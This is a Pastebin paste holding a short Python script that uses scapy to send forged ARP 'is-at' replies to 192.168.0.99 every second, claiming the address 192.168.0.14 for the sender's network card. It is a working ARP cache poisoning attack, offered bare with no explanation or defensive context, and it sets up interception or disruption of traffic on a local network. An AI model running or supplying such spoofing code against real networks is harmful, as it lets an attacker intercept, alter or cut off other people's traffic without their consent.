Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import sys
- import time
- from scapy.all import sendp, Ether, ARP
- if __name__ == "__main__":
- ether = Ether()
- arp = ARP(pdst = "192.168.0.99", psrc = "192.168.0.14", op = "is-at")
- packet = ether / arp
- while True:
- sendp(packet, iface = "eth0")
- time.sleep(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement